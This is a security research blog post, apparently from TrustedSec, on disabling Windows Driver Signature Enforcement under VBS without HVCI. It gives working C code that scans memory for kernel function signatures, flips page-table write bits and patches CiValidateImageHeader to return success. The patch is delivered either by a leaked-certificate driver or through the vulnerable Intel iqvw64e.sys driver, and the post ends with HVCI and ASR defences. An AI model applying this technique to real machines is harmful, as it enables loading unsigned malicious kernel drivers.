
1/14

By Adam Chester in Penetration Testing, Purple Team Adversarial Detection & Countermeasures, Red Team Adversarial
Attack Simulation, Research, Security Testing & Analysis

May 2, 2022

g_CiOptions in a Virtualized World
trustedsec.com/blog/g_cioptions-in-a-virtualized-world

With the leaking of code signing certificates and exploits for vulnerable drivers becoming

common occurrences, adversaries are adopting the kernel as their new playground. And with

Microsoft making technologies like Virtualization Based Security (VBS) and Hypervisor Code

Integrity (HVCI) available, I wanted to take some time to understand just how vulnerable

endpoints are when faced with an attacker set on escaping to Ring-0.

In this post we will look at a common technique used to disable driver signing enforcement,

how VBS has attempted to stop attackers from exploiting this, and how when not partnered

with HVCI, just how easy it is to bypass this security control.

Driver Signature Enforcement

For a while now, Windows has used Driver Signature Enforcement (DSE) to prevent

attackers from loading unsigned drivers into the kernel. This has been a mostly effective way

of ensuring that an attacker doesn’t have the ability to easily bypass many of the security

features implemented in the kernel such as Process Protection Light (PPL) by messing with

EPROCESS  fields.

To work around this, attackers have had a few options available. The first has been to ship a

vulnerable driver over to the target which meets all of the signing requirements to be loaded,

but allows the attacker to exploit its flaws to make memory modifications required to load

further unsigned drivers into the kernel. The second method has been to leverage previously

exposed signing certificates which allows attackers to sign their own driver code to be loaded

directly into the kernel. And with recent breaches such as the LAPSUS$ NVidia leak, this

technique has become more a more obvious route for attackers.

Disabling Driver Signature Enforcement

So what if we want to go about disabling Driver Signature Enforcement without resorting to

rebooting the OS into debug or test mode? Well in the latest versions of Windows, DSE is

enforced via a module called CI.dll , in which a configuration variable of g_CiOptions  is

exposed:

https://www.trustedsec.com/blog/g_cioptions-in-a-virtualized-world/?utm_campaign=Adversarial%20Detection&utm_content=206425505&utm_medium=social&utm_source=twitter&hss_channel=tw-403811306
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This configuration variable has a number of flags that can be set, but typically for bypassing

DSE this value is set to 0 , completely disabled DSE and allows the attacker to load unsigned

drivers just fine.

For a long time this worked flawlessly and allowed an easy way to side-load unsigned drivers

into the OS. But then VBS in Windows 10 came to spoil the party.

Virtualization Based Security

Fast forward to today: Microsoft have made significant efforts to protect the kernel from

tampering. A brilliant talk summarising the reason for these efforts, chief amongst which is

the shifting laws of security, was given by David Weston at Bluehat in 2018. Laws such as “If

a bad guy can persuade you to run his program on your computer, it’s not your computer

anymore” no longer holds true, and Microsoft have spent time locking down their OS to

reflect this.

One of the technologies deployed by Microsoft to harden the kernel from attack is called

“Virtualization Based Security”. This comes enabled by default on Windows 10 and 11 and

provides a hypervisor protected environment running a second “secure kernel” which cannot

be touched by the traditional kernel running in Ring-0.

Note: At this stage that there is some confusion between VBS and HVCI. VBS isn’t HVCI. The

mistake is easily made by defenders because there is so much content out there conflating the

two technologies. HVCI can be seen as operating under the VBS umbrella but requires

separate configuration to be enabled.

So how does VBS protect against disabling driver signature enforcement with a leaked

certificate or vulnerable driver? Well let’s take a look at how the g_CiOptions  variable is

parsed in CI.dll :

https://www.youtube.com/watch?v=zcH4NfGRXms
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Here we can see the use of MmProtectDriverSection , which is an API made available as

part of a technology called Kernel Data Protection (KDP) (Another acronym that sits under

the VBS umbrella). This API ensures that when passed a memory address, code running in

Ring-0 is incapable of modifying its contents.

Even if we try to use something like WinDBG attached to the kernel (with DSE enabled by

setting DebugFlags to 0x10 ), we still can’t update the value stored:

This means we are going to have to hunt for another way to disable DSE when VBS has been

enabled.

Disabling DSE via Patching

If you’ve followed many of the AMSI bypass techniques in the past, you’ll likely be familiar

with what we can do here to bypass this protection… we patch. First we need to understand

where we need to patch, so let’s head into the kernel debugger session and add a breakpoint

to a location where we know where the policy may be reviewed. CiCheckPolicyBits  looks

like a good function to break on, based on a review of CI.dll . Starting there, attempting to

load an unsigned driver results in a call stack that looks like this:

https://www.microsoft.com/security/blog/2020/07/08/introducing-kernel-data-protection-a-new-platform-security-technology-for-preventing-data-corruption/
https://www.trustedsec.com/blog/g_cioptions-in-a-virtualized-world/DebugFlags
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Here we see that there is a transition from the kernel into CI  via

SeValidateImageHeader  which is making a call to CiValidateImageHeader . This is the

function responsible for validating if our driver meets signing requirements. Let’s add a
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breakpoint to SeValidateImageHeader  to see what CiValidateImageHeader  returns

upon an unsuccessful load of an unsigned driver:

Looks like a NTSTATUS  code to me. Searching in the Magic Number Database shows that

c0000428  corresponds to STATUS_INVALID_IMAGE_HASH . So we can make a pretty good

guess here that if this function returns STATUS_SUCCESS , we are going to bypass this

signing check. Fortunately for us, we also know that this method isn’t protected by Kernel

Data Protection, so now we just need to figure out a way to allow writing to this memory

location.

Disabling DSE with a Signed Driver

Let’s craft a quick driver which will make things a bit easier to conceptualize when disabling

DSE. Obviously this is going to have to be signed with a certificate once built to be loaded.

For reasons that will become obvious in the next section, we’ll focus on stubbing out

CiValidateImageHeader  via read/write, but feel free to get creative with your solution.

There are obviously plenty of places to hijack!

We start by modifying memory protection for CiValidateImageHeader  in the kernel. The

most straightforward way of doing this is by directly modifying page table entries (PTE) for

virtual addresses. To grab the page table entry for CiValidateImageHeader , we will first

need to find a method which allows us to translate a virtual address to its corresponding PTE.

For anyone who hangs out in the game cheat scene, you’ll know that the function that we use

in this case is MiGetPteAddress . For a brilliant explanation on hunting this method down,

check out @33y0re‘s awesome blog post on PTE overwrites . Essentially, this function reveals

the PTE base address that we need for later, which we can see below as

0FFFFCE8000000000  but updates on every reboot:

To find this function we’re going to need to hunt through memory for a byte signature. We

can do this with something like:

https://www.magnumdb.com/
https://twitter.com/33y0re
https://connormcgarr.github.io/pte-overwrites/
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void* signatureSearch(char* base, char* inSig, int length, int maxHuntLength) { 
   for (int i = 0; i < maxHuntLength; i++) { 
       if (base[i] == inSig[0]) { 
           if (memcmp(base + i, inSig, length) == 0) { 
               return base + i; 
           } 
       } 
   } 

   return NULL; 
} 
...

By searching through memory for our signature matching MiGetPteAddress , we can

extract the PTE base and resolve virtual addresses to PTE locations:

char MiGetPteAddressSig[] = { 0x48, 0xc1, 0xe9, 0x09, 0x48, 0xb8, 0xf8, 0xff, 0xff, 
0xff, 0x7f, 0x00, 0x00, 0x00, 0x48, 0x23, 0xc8, 0x48, 0xb8 }; 

void* FindPageTableEntry(void* addr) { 

   ULONG_PTR MiGetPteAddress = signatureSearch(&ExAcquireSpinLockSharedAtDpcLevel, 
MiGetPteAddressSig, sizeof(MiGetPteAddressSig), 0x30000); 

   if (MiGetPteAddress == NULL) { 
       return NULL; 
   } 

   ULONG_PTR PTEBase = *(ULONG_PTR*)(MiGetPteAddress + sizeof(MiGetPteAddressSig)); 
   ULONG_PTR address = addr; 
   address = address >> 9; 
   address &= 0x7FFFFFFFF8; 
   address += (ULONG_PTR)PTEBase; 
   return address; 

}

Now we have the ability to resolve PTE’s for a virtual address, we need to find the virtual

address of CiValidateImageHeader . As this function isn’t exported by CI.dll , we’re

again going to have to hunt for it by signature:

char CiValidateImageHeaderSig[] = { 0x48, 0x33, 0xc4, 0x48, 0x89, 0x45, 0x50, 0x48, 
0x8b }; 
const int CiValidateImageHeaderSigOffset = 0x23; 

ULONG_PTR CiValidateImageHeader = signatureSearch(CiValidateFileObjectPtr, 
CiValidateImageHeaderSig, sizeof(CiValidateImageHeaderSig), 0x100000); 

if (CiValidateImageHeader == NULL) { 
 return; 
} 

CiValidateImageHeader -= CiValidateImageHeaderSigOffset;
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Once we have its address, we can get the PTE location for a virtual address. We just need to

flip a bit in the corresponding PTE value, forcing the page of memory containing

CiValidateImageHeader  to be writable:

ULONG64 *pte = FindPageTableEntry(CiValidateImageHeader); 
*pte = *pte | 2;

With the page set to writable, we can next just patch the beginning of the function with a xor

rax, rax; ret , making sure we take a backup of the original instructions for restoring

later:

char retShell[] = { 0x48, 0x31, 0xc0, 0xc3 }; 
char origBytes[4]; 

memcpy(origBytes, CiValidateImageHeader, 4); 
memcpy(CiValidateImageHeader, retShell, 4);

And then return page protection for sanity:

*pte = *pte ^ 2;

Once executed, let’s try and load our unsigned driver:

Watch Video At: https://youtu.be/uSNivgtM5BM

Another important thing to consider once we are done loading our unsigned driver is

reverting the previously patched function to avoid any issues with PatchGuard. Again, this is

as simple as just reverting our code change:

https://youtu.be/uSNivgtM5BM
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*pte = *pte | 2; 
memcpy(CiValidateImageHeader, origBytes, 4); 
*pte = *pte ^ 2;

Disabling DSE via Vulnerable Driver

Now that we have seen all of the moving parts, let’s consider another scenario: What if we

want to disable DSE using a vulnerable driver rather than malicious driver signed with a

leaked certificate? Well as we’ve seen above, all that we require are read/write primitives in a

vulnerable driver, and there are no shortage of those!

Let’s use the a vulnerable driver to disable DSE. In this case we’ll use Intel’s iqvw64e.sys

driver which has been quite popular for a while. As we aren’t executing code in the kernel this

time, we’re going to have to do a few additional steps to calculate our addresses in user-

mode.

First we need the base addresses of both ntoskrnl.exe  and ci.dll . This is easy with

NtQuerySystemInformation  and SystemModuleInformation :
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ULONG_PTR GetKernelModuleAddress(const char *name) { 

   DWORD size = 0; 
   void* buffer = NULL; 
   PRTL_PROCESS_MODULES modules; 

   NTSTATUS status = 
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 
size, &size); 

   while (status == STATUS_INFO_LENGTH_MISMATCH) { 
       VirtualFree(buffer, 0, MEM_RELEASE); 

       buffer = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 
       status = 
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 
size, &size); 
   } 

   if (!NT_SUCCESS(status)) 
   { 
       VirtualFree(buffer, 0, MEM_RELEASE); 
       return NULL; 
   } 

   modules = (PRTL_PROCESS_MODULES)buffer; 

   for (int i=0; i < modules->NumberOfModules; i++) 
   { 
       char* currentName = (char*)modules->Modules[i].FullPathName + modules-
>Modules[i].OffsetToFileName; 

       if (!_stricmp(currentName, name)) { 
           ULONG_PTR result = (ULONG_PTR)modules->Modules[i].ImageBase; 

           VirtualFree(buffer, 0, MEM_RELEASE); 
           return result; 
       } 
   } 

   VirtualFree(buffer, 0, MEM_RELEASE); 
   return NULL; 
} 
... 

ULONG_PTR kernelBase = GetKernelModuleAddress("ntoskrnl.exe"); 
ULONG_PTR ciBase = GetKernelModuleAddress("CI.dll");

Next, we need to complete our signature search. The simplest way here is just to memory

map our files as SEC_IMAGE  and hunt through the PE sections in memory:
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void* mapFileIntoMemory(const char* path) { 

   HANDLE fileHandle = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, 
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 
   if (fileHandle == INVALID_HANDLE_VALUE) { 
       return NULL; 
   } 

   HANDLE fileMapping = CreateFileMapping(fileHandle, NULL, PAGE_READONLY | 
SEC_IMAGE, 0, 0, NULL); 
   if (fileMapping == NULL) { 
       CloseHandle(fileHandle); 
       return NULL; 
   } 

   void *fileMap = MapViewOfFile(fileMapping, FILE_MAP_READ, 0, 0, 0); 
   if (fileMap == NULL) { 
       CloseHandle(fileMapping); 
       CloseHandle(fileHandle); 
   } 

   return fileMap; 
} 

void* signatureSearch(char* base, char* inSig, int length, int maxHuntLength) { 
   for (int i = 0; i < maxHuntLength; i++) { 
       if (base[i] == inSig[0]) { 
           if (memcmp(base + i, inSig, length) == 0) { 
               return base + i; 
           } 
       } 
   } 

   return NULL; 
} 

ULONG_PTR signatureSearchInSection(char *section, char* base, char* inSig, int 
length) { 

   IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)base; 
   IMAGE_NT_HEADERS64* ntHeaders = (IMAGE_NT_HEADERS64*)((char*)base + dosHeader-
>e_lfanew); 
   IMAGE_SECTION_HEADER* sectionHeaders = (IMAGE_SECTION_HEADER*)((char*)ntHeaders + 
sizeof(IMAGE_NT_HEADERS64)); 
   IMAGE_SECTION_HEADER* textSection = NULL; 
   ULONG_PTR gadgetSearch = NULL; 

   for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) { 
       if (memcmp(sectionHeaders[i].Name, section, strlen(section)) == 0) { 
           textSection = &sectionHeaders[i]; 
           break; 
       } 
   } 

   if (textSection == NULL) { 
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       return NULL; 
   } 

   gadgetSearch = (ULONG_PTR)signatureSearch(((char*)base + textSection-
>VirtualAddress), inSig, length, textSection->SizeOfRawData); 

   return gadgetSearch; 
} 

... 
const char MiGetPteAddressSig[] = { 0x48, 0xc1, 0xe9, 0x09, 0x48, 0xb8, 0xf8, 0xff, 
0xff, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x48, 0x23, 0xc8, 0x48, 0xb8 }; 

const char CiValidateImageHeaderSig[] = { 0x48, 0x33, 0xc4, 0x48, 0x89, 0x45, 0x50, 
0x48, 0x8b }; 

const int CiValidateImageHeaderSigOffset = 0x23; 

gadgetSearch = signatureSearchInSection((char*)".text", (char*)kernelBase, 
MiGetPteAddressSig, sizeof(MiGetPteAddressSig)); 

MiGetPteAddress = gadgetSearch - kernelBase + sizeof(MiGetPteAddressSig); 

gadgetSearch = signatureSearchInSection((char*)"PAGE", (char*)ciMap, 
CiValidateImageHeaderSig, sizeof(CiValidateImageHeaderSig)); 

CiValidateImageHeader = gadgetSearch - ciMap + ciBase - 
CiValidateImageHeaderSigOffset; 
...

With that done, we need to read out the base PTE address:

// Use intel driver vuln to copy kernel memory between user/kernel space 
copyKernelMemory(devHandle, (ULONG_PTR)&pteBase, MiGetPteAddress, sizeof(void*));

Next, we need to read our the PTE entry for MiGetPteAddress  so we can modify this:

ULONG_PTR getPTEForVA(ULONG_PTR pteBase, ULONG_PTR address) { 
   ULONG_PTR PTEBase = pteBase; 
   address = address >> 9; 
   address &= 0x7FFFFFFFF8; 
   address += (ULONG_PTR)PTEBase; 

   return address; 
} 

ULONG_PTR pteAddress = getPTEForVA(pteBase, CiValidateImageHeader); 
copyKernelMemory(devHandle, (ULONG_PTR)&pte, pteAddress, 8);

We update the write bit of the page:

pte |= 2;

Finally, we copy our memory patch:
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copyKernelMemory(devHandle, (ULONG_PTR)origMem, CiValidateImageHeader, 
sizeof(origMem)); 

copyKernelMemory(devHandle, CiValidateImageHeader, (ULONG_PTR)retShell, 
sizeof(retShell));

With all that done, we find that we can again load unsigned drivers due to DSE being

disabled:

Watch Video At: https://youtu.be/j0jb8x4C638

Once loaded, it is important that you revert your changes to avoid PatchGuard from

BSOD’ing your instance.

Protection

So how do we go about protecting against something like this? Thankfully for defenders there

are a couple of options. First is HVCI!

HVCI uses Second Level Address Tables (SLAT) to ensure that pages mapped as Read-

Execute  cannot be made writable, as well as ensuring that Read-Write  pages cannot have

the Execute  bit set in the PTE. As you can imagine, this makes doing things like the above

very difficult, as we are no longer in a position to just patch executable memory.

For example, let’s try and re-run the above scenario with HVCI enabled:

https://youtu.be/j0jb8x4C638
https://en.wikipedia.org/wiki/Second_Level_Address_Translation
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If we pull the memory dump and throw this into WinDBG, we can see that even though we

tried to update the protection on the memory page, our memcpy still caused a SYSTEM

SERVICE EXCEPTION :

If HVCI can’t be enabled, next up is Microsoft’s Attack Surface Reduction, which blocks a list

of commonly exploited vulnerable drivers and leaked code signing certificates. This again

prevents the foothold required by attackers to jump into the kernel, however with the

number of driver vulnerabilities out there, ASR (Attack Surface Reduction) is a much less

effective control.
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